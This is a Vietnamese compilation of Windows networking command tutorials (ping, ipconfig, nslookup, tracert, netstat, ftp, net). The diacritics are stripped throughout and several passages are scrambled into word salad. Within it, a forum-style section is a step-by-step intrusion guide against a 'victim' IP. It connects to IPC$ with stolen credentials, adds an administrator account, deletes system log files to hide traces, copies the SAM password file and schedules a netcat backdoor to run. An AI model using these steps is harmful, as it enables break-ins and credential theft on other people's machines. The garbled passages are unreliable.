Cc l nh ki m tra m ng

K

hi rp mng cho MS Windows ta cn nhng lnh lm cng c kim tra

xem cc ct mng (adapters), network drivers hay ng dy ni c gn hay ci t ng khng. Sau y l nhng chng trnh thng dng.

PingLnh Ping c dng th xem mng TCP/IP c tr ngi g gia cc computers khng. Mun th xem c th lin lc c vi computer no th ta Ping IP Address ca computer . Nu khng mc ni c vi computer y th Ping s hin th s ip Request timed out. Ta cng c th Ping Loopback Address (127.0.0.1) kim tra xem TCP/IP c c ci t v configured ng trn chnh computer ta ang dng khng.

Nu Loopback Ping tht bi, thng k ca Ping s cho thy s bc (package) nhn c t hn s bc gi i. L do c th l Driver b h hi, ct mng khng chy hay c mt dch v mm no khc can thip (interfere) vi IP. Time-To-Live (TTL) Th i h n s ng Khi mt ni gi mt bc c cha d liu vi TTL n ni no khc, ni nhn s ch dng d liu y trong thi hn TTL ri s hy b. TTL thng thng c gi tr t 1 n 255 giy ng h v uc cha trong 1 byte. Ping computer tn Sadec vi IP Address 192.168.0.100 ta dng lnh Ping trong DOS windows nh sau:

Hoc l ta Ping chnh tn Sadec ca computer nh sau:

Trong hnh trn ta thy Domain Name ca Sadec l Sadec.Vovisoft.Com v IP Address ca n l 169.254.164.100. Ti sao y IP Address ca computer Sadec dng nh khng cn l 192.168.0.100 na? Ci IP Address 169.254.164.100 l do APIPA (Automatic Private IP Address) cung cp. H IP Address no c dng 169.254.x.y l do APIPA pht hnh. Vic ny xy ra l v computer Sadec khng th nhn c mt IP Address t DHCP (Dynamic Host Configuration Protocol) server. Hoc l DHCP server ngng, hoc l n khng uc configured ng, hoc l Sadec khng th lin lc vi n c. gii quyt vn ny, bn enable hay configure li DHCP server, ri khi ng Sadec host tr li. Nu IP Address ca Sadec c hin th l 0.0.0.0 th phn mm Microsoft MediaSense override (chy chng ln) khi ng v ct mng khm ph ra l n khng c ni v mng. sa cha vn ny, tt MediaSense bng cch kim tra li xem ct mng c c gn chc v si dy mng c ni vo trong hub. Nu dy mng c v ni chc chn th dng mt ct mng mi v ci t li driver ca ct. Bn c th Ping IP Address ca Default Gateway kim tra xem n c hot ng tt v xem computer ca bn c th ni chuyn vi n khng. Bn c th tm hiu thm v cc cch dng khc ca lnh Ping bng cch nh ping /?.

IPConfigTa dng lnh IPConfig khi cn bit trng thi ca TCP/IP configuration ca computer. Khi dng lnh IPConfig vi /all switch, chng trnh s hin th mt bo co chi tit v configuration ca tt c ct mng, k c cc miniports mng rng (Wide Area Network) no hin din, thng dng cho remote access hay cc mc ni Virtual Private Network (VPN). Vi DNS dynamics update bn cng c th dng IPConfig ng k computer vo dch v DNS. xem chi ti t c a TCP/IP configuration 1. nh vo cu lnh ipconfig /all 2. c qua kt qu kim tra xem: - C mt IP Address khng? - C mt Default Gateway khng? - C mt DHCP server khng?

Hnh trn cho thy:

Hostname l Sadec DNS suffix (ch theo sau Sadec) l Vovisoft.com Sadec c hai mc ni qua hai ct mng c tn l ICS v Local Area Connection.

C t ICS:

Hiu ca ct mng l NETGEAR a ch tht (MAC Address) IP Address ca ct c configured t ng Hin gi IP Address ca ct l 169.254.164.100. iu ny c ngha l DHCP khng chy tt hay ngng. Khng c Gateway Ct c 3 DNS servers

C t Local area Connection:

Hiu ca ct mng l Realtec. a ch tht (MAC Address) Ct c mt static IP Address - DHCP khng c enabled. Khng c Gateway

DNS server c cng mt IP Address. iu y c ngha l Sadec l DNS server. WINS server c cng mt IP Address. iu y c ngha l Sadec cng l WINS server.

C mt s switches khc ca lnh IPConfig cng rt thng dng: Switch /flushdns /registerdns /displaydns /release /renew Cng dng Xa b cache cha tn trong DNS Lm mi li tt c Dynamic Host Configuration Protocol (DHCP) leases v ng k li tt c tn DNS. Mt lease l mt hp ng m DHCP cho php mt computer c dng mt IP Address trong thi hn bao lu. Hin th cache ca DNS resolver Hy b lease v mt IP Address cho mt ct. Nu khng ni r tn ct no th DHCP hy b mi leases Pht hnh mt lease mi vi IP Address cho mt ct. Nu khng ni r tn ct no th DHCP pht hnh lease mi cho mi ct.

Bn nn thn trng khi dng lnh IPConfig trn client computer. C nhiu features tn tin ca IPConfig tuy hay nhng khng nn dng trn mt my client nu khng c s tr gip ca mt administrator v mng. Dng lnh ny sai lc c th lm cho client computer mt mc ni vi server. bit thm v cc switches ca IPConfig hy nh IPConfig /?.

NSLookupNSLookup l mt cng c tin dng gii quyt nhng kh khn v DNS, chng hn nh host name resolution (tm IP Address ca mt computer) bng cch c nhng records trong DNS database. Ta dng NSLookup bng cch nh nslookup , trong name l host name ca record m bn ang tm, v server l tn ca server m bn mun hi. Nu server khng c cung cp th default server s uc dng.

Kt qu trong hnh trn cho bit DNS server khng th tm ra tn host hay IP Address trong authoritative domain. Ci authoritative domain c th nm trn DNS server y hay mt DNS server khc m DNS server ny lin lc c. Khi bn khi ng NSLookup, n hin th host name v IP Address ca DNS server c configured cho h thng a phng, ri hin th mt command

prompt cho bn tip tc hi. Mt cu hi c kt qu tt s c dng nh di y:

Bn c th hi nhiu th cng mt lc vi command-line parameter -d2 khi dng verbose debugging enabled. Verbose debugging cho php bn kim tra cc bc hi v p gia computer hi (resolver) v server..

Mun bit thm v cch dng NSLookup ch cn nh ? hay help.

TracertTracert hin th ng i gia ngun (source host) v ch (destination). Ch nh Tracert s hin th ch dn nh sau:

Trong hnh di y, Tracert hin th cc routers pht hin dc ng t host cho n ch; sau hai routers th trace n ni.

Trong trng hp trace khng i n ch c, th kt qu l mt du hoa th (*) nm nhng ct thng dng hin th thi gian i gip vng, v c hin th s ip Request time out, hay s ip li no khc trong ct bn phi, ni domain name hay IP Address thng c hin th.

T p l nh quan tr ng c a DOS dng c u hnh v ki m tra m ng.Mt s lnh c bn trong mng LAN hay c s dng, nht l dng kim tra, iu khin, hay truy cp t xa ti my tnh khc trong mng LAN. Cc lnh ny hon ton c th dng nhng cng c khc c sn ca Windows nh cmd.exe thc hin, hoc dng chng trnh thc hin thay th cho vic dng dng lnh. 1.L nh Ping Ch c nng : Lnh Ping c dng th xem mng TCP/IP c tr ngi g gia cc computers khng hoc kim tra xem mt my tnh c kt ni vi mng khng.

C php: ping ip/host [/t][/a][/l][/n] Ch thch: - ip/host: ip l a ch IP ca my cn kim tra; host l tn ca my tnh cn kim tra. Ngi ta c th s dng a ch IP hoc tn ca my tnh V d : ping 192.168.1.1 - [/t]: S dng tham s ny my tnh lin tc "ping" n my tnh ch, cho n khi bn bm Ctrl + C

- [/a]: Nhn a ch IP t tn host - [/l]: Xc nh s gi tin s gi i. V d: ping 192.168.1.1/n 5 - [/n]: Xc nh rng ca gi tin gi i kim tra. Mt s hacker s dng tham s ny tn cng t chi dch v mt my tnh (Ping of Death - mt loi DoS). V d : ping 192.168.1.1 /l 65535 Ngoi ra, cn mt s thng tin khc, bn c th t tham kho vi cu lnh ping /? Lnh Ping s gi cc gi tin t my tnh bn ang ngi ti my tnh ch. Thng qua gi tr m my tnh ch tr v i vi tng gi tin, bn c th xc nh c tnh trng ca ng truyn (chng hn: gi 4 gi tin nhng ch nhn c 1 gi tin, chng t ng truyn rt chm (xu)). Hoc cng c th xc nh my tnh c kt ni hay khng (Nu khng kt ni,kt qu l Unknow host).... 2. L nh IPConfig Ch c nng : Ta dng lnh IPConfig khi cn bit trng thi ca TCP/IP configuration ca computer. Khi dng lnh IPConfig vi /all switch, chng trnh s hin th mt bo co chi tit v configuration ca tt c card mng, k c cc miniports mng rng (Wide Area Network) no hin din, thng dng cho remote access hay cc mc ni Virtual Private Network (VPN). Vi DNS dynamics update bn cng c th dng IPConfig ng k computer vo dch v DNS. C php: ipconfig /all Ch thch: C mt s switches khc ca lnh IPConfig cng rt thng dng: - /flushdns: Xa b cache cha tn trong DNS - /registerdns : Lm mi li tt c Dynamic Host Configuration Protocol (DHCP) leases v ng k li tt c tn DNS. Mt lease l mt hp ng m DHCP cho php mt computer c dng mt IP Address trong thi hn bao lu. - /displaydns : Hin th cache ca DNS resolver - /release : [Card (adapter )] Hy b lease v mt IP Address cho mt ct. Nu khng ni r tn ct no th DHCP hy b mi leases - /renew : [Card (adapter)] Pht hnh mt lease mi vi IP Address cho mt ct. Nu khng ni r tn ct no th DHCP pht hnh lease mi cho mi card. Bn nn thn trng khi dng lnh IPConfig trn client computer. C nhiu features tn tin ca IPConfig tuy hay nhng khng nn dng trn mt my client nu khng c s tr gip ca mt administrator v mng. Dng lnh ny sai lc c th lm cho client computer mt mc ni vi server. bit thm v cc switches ca IPConfig hy nh IPConfig /? 3. L nh Tracert Ch c nng : Lnh ny s cho php bn "nhn thy" ng i ca cc gi tin t my tnh ca bn n my tnh ch, xem gi tin ca bn vng qua cc server no, cc router no... C php: tracert ip/host Ch thch: ip l a ch IP ca my ch; host l tn ca my tnh ch. Ngoi ra ch cn nh Tracert s hin th ch dn nh sau: 4. L nh Netstat Ch c nng : Lnh Netstat cho php ta lit k tt c cc kt ni ra v vo my tnh ca chng

ta. Nu bn s dng lnh ny m thy my ci port ang ch listening l hoc th yn ch l my bn dnh trojan ri y. Cn thn ko mt password C php: Netstat [/a][/e][/n] Ch thch: - [/a]: Hin th tt c cc kt ni v cc cng ang lng nghe (listening) - [/e]: hin th cc thng tin thng k Ethernet - [/n]: Hin th cc a ch v cc s cng kt ni... Ngoi ra cn mt vi tham s khc, hy g Netstat/? bit thm 5. L nh FTP Ch c nng : FTP l mt giao thc c s dng gi v nhn file gia cc my tnh vi nhau. Windows ci t sn lnh ftp, c tc dng nh mt chng trnh chy trn nn console (vn bn), cho php thc hin kt ni n my ch ftp. C php: ftp ip/host Nu kt ni thnh cng, chng trnh s yu cu bn nhp Username v pass. Nu username v pass hp l, bn s c php upload, duyt file... trn my ch. Ch thch: Mt s lnh ftp c bn. - CD : chuyn sang th mc khc trn my ch - DIR: Xem danh sch cc file v th mc ca th mc hin thi trn my ch - MDIR : To mt th mc mi c tn thu_muc trn my ch - RMDIR : Xo (remove directory) mt th mc trn my ch - PUT FILE : ti mt file file (y c ng dn. VD: c:\tp\bin\baitap.exe) t my bn ang s dng ln my ch. - CLOSE : ng phin lm vic - QUIT : Thot khi chng trnh ftp, quay tr v ch DOS command. Ngoi ra cn mt vi lnh na, xin mi cc bn tm hiu thm. Nh vy, t nay tr i, nu bn no c mt website ring th khng cn phi lo n chuyn phi c chng trnh ftp na nh. Dng lnh ny, m bo chy u cng c (tt nhin tr nhng mng my tnh s dng proxy). 6. L nh Telnet Ch c nng : Telnet l mt ng dng cho php ngi dng ngi trn mt thit b u cui c th thng qua kt ni mng n mt thit b t xa iu khin n bng cu lnh nh l ang ngi ti my xa. Telnet cho phep tao kt ni vi thit bi t xa, thu thp thng tin va chay chng trinh. C php: telnet IP/host port Ch thch: - ip l a ch IP ca thit b u cui; host l tn ca thit b u cui. - port l cng giao tip vi thit b u cui. V d : telnet 192.168.1.1 80 s thit lp phin telnet vi thit b c a ch IP l 192.168.1.1 vi port l 80 Ngoi ra bn cng c th s dng lnh telnet /? tm hiu mt s tham s khc 7. L nh NSLookup Ch c nng : NSLookup l mt cng c tin dng gii quyt nhng kh khn v DNS, chng hn nh host name resolution (tm IP Address ca mt computer) bng cch c nhng

records trong DNS database. C php: nslookup Ch thch: - name l host name ca record m bn ang tm - server l tn ca server m bn mun hi. Nu server khng c cung cp th s chn default server. 8. L nh NET Lnh NET l mt lnh ngoi tr (tc l khng c sn) nhng n lun c i km vi hu ht cc h iu hnh Windows ca Microsoft v n l mt lnh rt cn thit v quang trng dng xm nhp mt h thng lnh NET khng i mt mnh m n i chung vi nhng phng thc khc kt hp thnh mt t hp c th. Chnh v tm quang trng ca n nn ti tch hn n ra thnh mt chng ring bit NET VIEW Ch c nng : Lnh ny cho php xem danh sch cc my trong mng, hoc xem cc ti nguyn chia s ti mt my trn mng C php: net view \\IP/host Ch thch: - ip l a ch IP ca my tnh hoc domain; host l tn ca my tnh hoc domain. Nu ch nh net view v nhn enter, th n s hin ra danh sch cc my tnh trong mng cng domain qun l vi my tnh bn ang s dng. Nu nh net view \\IP hoc \\host, th n s hin th cc ti nguyn chia s ca my tnh . NET USE Ch c nng : Lnh ny dng kt ni my ca ngi ang thc hin ti mt ti nguyn c chia s trn h thng mng vi mt quyn hn nht nh. C php: Net use \\IP/host\Sharedata "Password" /user:"User" (Dng kt ni ti mt ti nguyn nht nh khi bit username v password) Net use \\ IP/host \ipc$ "Password" /user:"User" (Dng kt ni mt IPC$ n my tnh) Ch thch: - ip l a ch IP ca my tnh cha ti nguyn chia s; host l tn ca my tnh cha ti nguyn chia s. - Sharedata l ti nguyn chia s - User l tn user c cp trc - Password l password ca user V d: kt ni ICP$ n my c a ch IP l 192.168.1.2 vi username l administrator v password l 123456 Net use \\192.168.1.2\ipc$ "123456" /user:"administrator" NET USER Ch c nng : Lnh ny dng To/Xa ti khon ngi dng, hoc hin danh sch ti khon nu khng c tham s. C php: Net User [username pass] [/add] (to ngi dng c tn l username v password)

Net User [username] [/delete] (xa ngi dng c tn l username) Ch thch: - Username : tn ngi dng - pass : mt khu ca ngi dng NET SHARE Ch c nng : Lnh ny dng chia s ti nguyn trn my tnh C php: Net share sharename=path Ch thch: - path y c th l mt a hoc ng dn tuyt i ti mt th mc hoc my in .v.v. V d : Net share DATA=C:\ /Unlimited (Chia s a C:\ ly tn l data vi quyn truy cp khng gii hn) Ngoi cc lnh Net view, Net use, Net user, Net share ra th t hp lnh nt cn bao gm mt s lnh na nh l lnh Net file, Net session, Net group, Net start, Net stop, Net time, Tuy nhin nhng lnh ny ch tc ng trn my localhost nn cc bn c th t tm hiu thm.

1.

Cc lnh c bn trong cmd !!!

Trong Windows XP c nhiu lnh , nhng thng thng chng ta hay dng cc lnh sau ( chy nhng lnh ny bm Start --> chn Run --> bm CMD --> bm OK ). 1. L nh Ping : C php: Code: ping ip/host [/t][/a][/l][/n] - ip: a ch IP ca my cn kim tra; host l tn ca my tnh cn kim tra. Ngi ta c th s dng a ch IP hoc tn ca my tnh. - Tham s /t: S dng tham s ny my tnh lin tc "ping" n my tnh ch, cho n khi bn bm Ctrl + C - Tham s /a: Nhn a ch IP t tn host - Tham s /l : Xc nh rng ca gi tin gi i kim tra. Mt s hacker s dng tham s ny tn cng t chi dch v mt my tnh (Ping of Death - mt loi DoS), nhng ti ngh l hacker c cng c ring ping mt gi tin ln nh th ny, v phi c nhiu my tnh cng ping mt lt. - Tham s /n : Xc nh s gi tin s gi i. V d: ping 174.178.0.1/n 5 Cng dng : + Lnh ny c s dng kim tra xem mt my tnh c kt ni vi mng khng. Lnh Ping s gi cc gi tin t my tnh bn ang ngi ti my tnh ch. Thng qua gi tr m my tnh ch tr v i vi tng gi tin, bn c th xc nh c tnh trng ca ng truyn (chng hn: gi 4 gi tin nhng ch nhn c 1 gi tin, chng t ng truyn rt chm (xu)). Hoc cng c th xc nh my tnh c kt ni hay khng (Nu khng kt ni,kt qu l Unknow host).... 2. L nh Tracert : C php : Code: tracert ip/host Cng dng : + Lnh ny s cho php bn "nhn thy" ng i ca cc gi tin t my tnh ca bn n my tnh ch, xem gi tin ca bn vng qua cc server no, cc router no... Qu hay nu bn mun thm d mt server no . 3. Lnh Net Send, gi thng ip trn mng (ch s dng trn h thng my tnh Win NT/2000/XP): C php: Net send ip/host thng_ip_mun_gi Cng dng: + Lnh ny s gi thng ip ti my tnh ch (c a ch IP hoc tn host) thng ip: thng_ip_mun_gi. + Trong mng LAN, ta c th s dng lnh ny chat vi nhau. Trong phng vi tnh ca trng tui thng dng lnh ny gho mi ngi! Bn cng c th gi cho tt c cc my tnh trong mng LAN theo cu trc sau : Code: Net send * hello!I'm pro_hacker_invn 4. L nh Netstat : C php: Code: Netstat [/a][/e][/n] - Tham s /a: Hin th tt c cc kt ni v cc cng ang lng nghe (listening) - Tham s /e: hin th cc thng tin thng k

Ethernet - Tham s /n: Hin th cc a ch v cc s cng kt ni... Ngoi ra cn mt vi tham s khc, hy g Netstat/? bit thm Cng dng : + Lnh Netstat cho php ta lit k tt c cc kt ni ra v vo my tnh ca chng ta. 5. L nh IPCONFIG : C php: Code: ipconfig /all Cng dng: + Lnh ny s cho php hin th cu hnh IP ca my tnh bn ang s dng, nh tn host, a ch IP, mt n mng... 6. L nh FTP (truyn ti file): C php: Code: ftp ip/host Nu kt ni thnh cng n my ch, bn s vo mn hnh ftp, c du nhc nh sau: Code: ftp>_ Ti y, bn s thc hin cc thao tc bng tay vi ftp, thay v dng cc chng trnh kiu Cute FTP, Flash FXP. Nu kt ni thnh cng, chng trnh s yu cu bn nhp User name, Password. Nu username v pass hp l, bn s c php upload, duyt file... trn my ch. Mt s lnh ftp c bn: -cd thu_muc: chuyn sang th mc khc trn my ch - dir: Xem danh sch cc file v th mc ca th mc hin thi trn my ch - mdir thu_muc: To mt th mc mi c tn thu_muc trn my ch rmdir thu_muc: Xo (remove directory) mt th mc trn my ch - put file: ti mt file file (y c ng dn. VD: c:\tp\bin\baitap.exe) t my bn ang s dng ln my ch. close: ng phin lm vic - quit: Thot khi chng trnh ftp, quay tr v ch DOS command. Ngoi ra cn mt vi lnh na, xin mi cc bn t tm hiu. Cng dng : + FTP l mt giao thc c s dng gi v nhn file gia cc my tnh vi nhau. Windows ci t sn lnh ftp, c tc dng nh mt chng trnh chy trn nn console (vn bn), cho php thc hin kt ni n my ch ftp 7. L nh Net View : C php: Code: Net View [\\computer|/Domain[:ten_domain]] Cng dng: + Nu ch nh net view [enter], n s hin ra danh sch cc my tnh trong mng cng domain qun l vi my tnh bn ang s dng. + Nu nh net view \\tenmaytinh, s hin th cc chia s ti nguyn ca my tnh tenmaytinh . Sau khi s dng lnh ny, cc bn c th s dng lnh net use s dng cc ngun ti nguyn chia s ny. 8. L nh Net Use : C php: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: a ch IP ca victim. - xxx: user ca my victim - pass: password ca user Gi s ta c c user v pass ca victim c IP l 68.135.23.25 trn net th ta c th kt ni n my tnh ri y! V d: user: vitim ; pass :12345 . Ta dng lnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Cng dng: + kt ni mt IPC$ n my tnh victim (bt u qu trnh xm nhp). 9. L nh Net User : C php: Code: Net User [username pass] [/add] - Username : tn user cn add - pass : password ca user cn add Khi add c user vo ri th ta tin hnh add user ny vo nhm administrator. Code: Net Localgroup Adminstrator [username] [/add] Cng dng: + Nu ta ch nh lnh Net User th s hin th cc user c trong my tnh. + Nu ta nh lnh Net User [username pass] [/add] th my tnh s tin hnh thm mt ngi dng vo. V d: ta tin hnh add thm mt user c tn l xuanhoa , password l :banvatoi vo vi cu trc lnh nh sau: Code: Net User xuanhoa banvatoi /add Sau add user xuanhoa vo nhm adminnistrator Code: Net Localgroup Administrator xuanhoa /add 10. L nh Shutdown : C php: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (p dng cho win XP) - Tham s -m\\ip : ra lnh cho mt my tnh t xa thc hin cc lnh shutdown, restart,.. - Tham s -t xx : t thi gian cho vic thc hin lnh shutdown. - Tham s -l : logg off (lu ko th thc hin khi remote) - Tham s -s : shutdown Tham s -r : shutdown v restart - Tham s -a : khng cho shutdown - Tham s -f : shutdown m ko cnh bo - Tham s -c "comment" : li cnh bo trc khi shutdown - Tham s -d upx:yy : ko r Code: shutdown \\ip (p dng win NT) r hn v lnh shutdown bn c th g shutdown /? c hng dn c th hn! Cng dng: + Shutdown my tnh. 11. L nh DIR : C php: Code: DIR [drive:][path][filename] Lnh ny qu cn bn ri, chc tui khi hng dn, r hn bn nh lnh DIR /? c hng dn. Cng dng: + xem file, folder. 12. L nh DEL : C php: Code: DEL [drive:][path][filename] Lnh ny cng cn bn ri, ko phi ni nhu. Cng dng: Xa mt file, thng thng sau khi xm nhp vo h thng, ta phi

tin hnh xa du vt ca mnh khi b pht hin.Sau y l nhng files nht k ca Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log 13. L nh t o a o trn computer : C php: Code: Net use z: \\ip\C$ ( hoc l IPC$ ) Z l ca mnh...cn C$ l ca Victim Cng dng: To 1 a o trn my tnh (lnh ny tui ko r nn ko th hng dn chi tit c) 14. L nh Net Time : C php: Code: Net Time \\ip Cng dng: + Cho ta bit thi gian ca victim, sau dng lnh AT khi ng chng trnh. 15. L nh AT: C php: Code: AT \\ip Cng dng: + Thng thng khi xm nhp vo my tnh victim khi rt lui th ta s tng qu lu nim ln my tnh victim, khi copy troj hoc backdoor ln my tnh ri ta s dng lnh at khi ng chng. V d: y tui c con troj tn nc.exe (NC l t vit tc ca NETCAT....n l mt telnet server vi port 99) v c copy ln my victim ri. u tin ta cn bit thi gian ca victim c IP l : 68.135.23.25 . Code: Net Time \\68.135.23.25 By h n s phn hi cho ta thi gian ca victim, v d : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe i n 12:3 l n s t chy trn my nn nhn v chng ta c th connected n port 99. 16. L nh Telnet : C php: Code: telnet host port G telnet /? bit thm chi tit. Nhng nu nh my victim dnh con nc ri th ta ch cn connect n port 99 l OKie Code: telnet 68.135.23.25 99 Cng dng: + Kt ni n host qua port xx 17. L nh COPY : C php: Code: COPY /? Dng lnh trn r hn! Cng dng: + Copy file, tui khi ni thm nh. V d:chng ta copy files index trn C ca mnh ln C ca 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nu bn copy ln folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html mun copy files trn my victm th bn g vo : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\ 18. L nh SET : C php: Code: SET Cng dng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lnh Nbtstat: C php: Code: Nbtstat /? G lnh trn r hn v lnh ny. Cng dng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) Trn y l mt s hiu bit hn hp ca em v cc lnh CMD, em c c t rt nhiu ngun khc nhau, nay tng hp li cho mi ngi tham kho. C mt s lnh em vn cha hiu cu trc lnh v cha c iu kin thc hnh th nn ko hng dn k. Ai bit th gp nh! Mong cc pro ng ci! Nu thy bi vit ca em hay th lm n thank cho mt ci nh 19 bootcfg : xem thit lp phn ti h iu hnh ban u . 20 defrag : lnh ny dng dn a cng . 21 diskpart : qun l phn vng trn a . Chng ta c th bm DISKPART / ? xem hng dn cch dng chi tit . 22 driverquery : nhn danh sch cc chng trnh Driver v nhng thuc tnh ca chng . 23 getmac : nhn a ch MAC ( Media Access Control ) ca Card mng . 24 gpresult : nhn RSoP , nhng thit lp ngi dng v nhng thit lp ca chnh sch nhm. 25 netsh : cng c cu hnh mng . Bm NETSH / ? bit thm chi tit . thot khi cng c ny g lnh NETSH> 26 openfiles : cho php Admin hin th hoc b kt ni nhng file ang m trong XP Pro . Bm OPENFILES/? bit thm v tham s .

27 recover : khi phc nhng thng tin khng th c c trn a . 28 reg : cng c cho Registry . 29 schtasks : Admin c th to lch trnh , thay i , xo nhng nhim v trn my trm hoc nhng my iu khin t xa . SCHTASKS/? hin th nhng tham s . 30 sfc : kim tra file h thng , bo v v thay th , sa cha nhng file h thng b hng . 31 shutdown : bn c th tt hoc khi ng li my tnh ca mnh hoc Admin c th tt hoc khi ng li nhng my tnh iu khin t xa . 32 systeminfo : hin th nhng thng tin cu hnh c bn . 33 tasklist : cho chng ta bit nhng chng trnh no ang chy . 34 taskkill : tt nhng chng trnh ang chy 35 dxdiag : cu hnh

Kim Tra H Thng Mng Vi Lnh Ping. Mt trong nhng lnh thng dng nht dng kim tra h thng mng l lnh Ping. C th ni rng bt c ai tng lm vic lin quan n h thng mng th cng u phi s dng qua lnh Ping. Ngay c khi bn l ngi khng chuyn, khng lm vic v IT nhng bn cng c th s dng lnh Ping sa cha mt s bnh thng thng ca my tnh. Vy lnh Ping hot ng ra sao v s dng lnh Ping trong trng hp no, ngha ca cc dng thng bo tr v t lnh Ping l g? Tt c nhng cu hi trn s c gii p trong cc phn sau.

Lnh Ping hot ng nh th no ?

Lnh ping hot ng da trn tng d tm. Mi khi cn xc nh xem c vt g gn mnh hay khng, bn s dng tay s, dng gy khua hoc nm ra xung quanh mnh. Nu c mt va chm xy ra th da trn ting pong ca va chm bn s xc nh c phng hng ca vt th ang gn bn. Tng t nh vy, lnh Ping cng hot ng bng cch gi gi tin truy vn ICMP echo-request n cho my tnh ch v lng nghe gi tin hi p ICMP echo-response" xc nh c s hin din ca my tnh ch.S dng lnh Ping trong trng hp no ? Khi c s c v kt ni mng nh bn khng th duyt web, bn khng th truy cp c th mc chia s trn File Server, phn mm k ton khng th kt ni n my ch th khi bn c th s dng lnh Ping kim tra hot ng ca h thng mng trc khi c cc bc x l tip theo. Cc gi tin kim tra ca lnh ping s c pht i t my ngun n my ch nu c s phn hi tt s xc nh c s thng sut ca h thng mng. Ngoi ra, lnh Ping cn c s dng kim tra hot ng ca card mng, xc nh s tn ti ca my tnh ch, kim nh cht ln, o t tc truyn dn

ca h thng mng. Cui mi lnh ping s hin th thng k v s lng gi tin c gi, thi gian hi p v ghi nhn cc gi tin b rt hay truyn thnh cng trn ng truyn

C php ca lnh Ping s dng lnh ping, bn vo Start > Run > g lnh cmd. Ti du nhc ca dng lnh bn g lnh: ping [cc xem option thm cc ca ty lnh] chn [tn ca hoc lnh a Ping ch bn IP g ca lnh my ping ch] /?

Cc thng bo ca lnh Ping Lnh ping s hin th thng bo v thng k sau mi ln s dng lnh. Nu c li xy ra trn ng i n my ch, lnh ping s hin th thng tin v li. Da trn cc thng tin ny bn s xc nh c mt s nguyn nhn gy li v cch khc phc. C 3 thng bo thng c hin th khi s dng lnh ping:

Reply from 123.30.53.19: bytes=32 time=30ms TTL=247 Request timed out Destination host unreachable

1. Thng bo: Reply from 123.30.53.19: bytes=32 time=30ms TTL=247 Khi nhn c thng bo c dng nh trn th c ngha l lnh ping thc hin thnh cng v h thng khng a ch IP sau l thi t Reply ca from qu cho ca trnh c bit my gi hi no tin p ang ch gi tn thng c 30 mili ip gi giy tr li: li. i.

bytes=32 time=30ms

kch gian

thc

ICMP

TTL=247 l gi tr "time to live" (thi gian sng) ca gi tin ICMP. Ht thi gian ny th gi tin s b hy. Gi tr TTL c ng dng ty h iu hnh v n l "thc o" gii hn "thi gian sng" ca datagram trong gi tin gi i. TTL khi to bng gi tr n nh ca h iu hnh (trong trng hp ny l 247) v con s ny gim bt 1 n v mi khi n i qua mt router. Khi gi tr TTL ny tr thnh 0 (zero) th datagram ny b hy cho d n cha n c ni n cn "ping". Nu bn "ping" mt host no trong cng mt subnet (khng qua router no c) th gi tr TTL khng h thay i.

2. Thng bo: Request timed out Nu khng kt ni c vi my ch th Ping s hin th thng bo l "Request timed out". Thng ip "Request timed out" c ngha l khng c hi p tr v. Khi gp thng bo ny th bn c th c -Thit -a ch my chn on b ch khng cc nh c tht nguyn hoc nhn tuyn my ch gy ang ra Router b tt, li b hoc cm nh sau: tt. ping.

-Nu my ch khc ng mng vi my ngun th nguyn nhn c th do khng c nh tuyn ngc tr

li my ngun. Lc ny, nu my ch ang chy, bn c th kim tra ng i v ca gi tin bng cch xem li thng s Default Gateway trn my ch, my ngun v router kt ni cc ng mng. - tr ca qu trnh hi p ln hn 1 giy. Phin lm vic ca lnh ping mc nh l 1 giy. Nhng nu qu trnh hi p ln hn 1 giy m gi tin vn cha n ch th lnh ping cng thng bo li trn. Bn c th s dng ty chn -w tng thm thi gian ht hn. V d cho php ko di qu trnh hi p trong vng 5 giy s dng bn dng lnh ping -w 5000.

3. Thng bo: Destination host unreachable Thng bo cho bit khng th kt ni n my ch. Nguyn nhn gy ra li ny c th l do cp mng b t, khng gn cp vo card mng, card mng b tt, Driver card mng b h

Tng kt Trn y l nhng im khi qut v nhng ng dng thng c s dng nht ca lnh ping. Lnh ping s gip cho ngi qun tr h thng mng c c cng c chn on mng nhanh chng, n gin v hiu qu. i vi ngi dng thng thng cng c th t kim tra kt ni mng v sa cha mt s li c bn da theo cc thng bo ca lnh ping.

H TH NG S NH PHN

l ta dng 10 du hiu khc nhau vit mt con s. Khi m t 0 n 9 ta vit ra lin tc cc du hiu 0,1,2,3,4,5,6,7,8,9. n y, nu tip tc m tip ta s khng cn du hiu no na. Do ta dng li s 0 v bt u hng chc nh 10,11,12,13 ..v.v cho n 19 ri tng hng chc ln na thnh 20,21,22, .vv. Hy xem con s 7354. Con s ny biu din ( 7*1000 + 3*100 + 5*10 + 4 ) n v. Lu hng n v, hng chc, hng trm v hng ngn. Ngn c ngha l 10 ly tha 3, trm c ngha l 10 ly tha 2, chc c ngha l 10 ly tha 1 v n v c ngha l 10 ly tha 0 (nh rng 10 ly tha 0 th bng 1). Ni mt cch khc nu ta i dc theo con s t phi qua tri th ly tha 10 (cn gi l base 10 ca thp phn) tng ln t t. Trong h thng s Nh Phn (Binary) ta ch dng c hai du hiu 0 v 1 vit ra mt con s. Nu ta m t 0 n 1 th dng ht cc du hiu ri. Nu mun tip tc m ta phi dng li du hiu 0 v bt u hng hai, tc l con s hai trong h thng Nh Phn c vit l 10. Nh th trong Nh Phn con s 1111 biu din ( 1*8 + 1*4 + 1*2 + 1 ) n v, trong ta bit rng 8 c ngha l 2 ly tha 3, 4 c ngha l 2 ly tha 2, 2 c ngha l 2 ly tha 1 v n v c ngha l 2 ly tha 0. Ngc li, i mt s Thp Phn ra Nh Phn ta tm cch tr ra nhng multiple ca 8,4,2, .v.v. Th d bt u t s 75 Thp Phn, ta tr 64 (tc l 2 ly tha 6) ra s cn li 11, k tr 8, ri tr 2 nh trong bng di y: 75 - 64 = 11 11 - 8 = 3 3-2=1 Vy 75 = 1*64 + 0*32 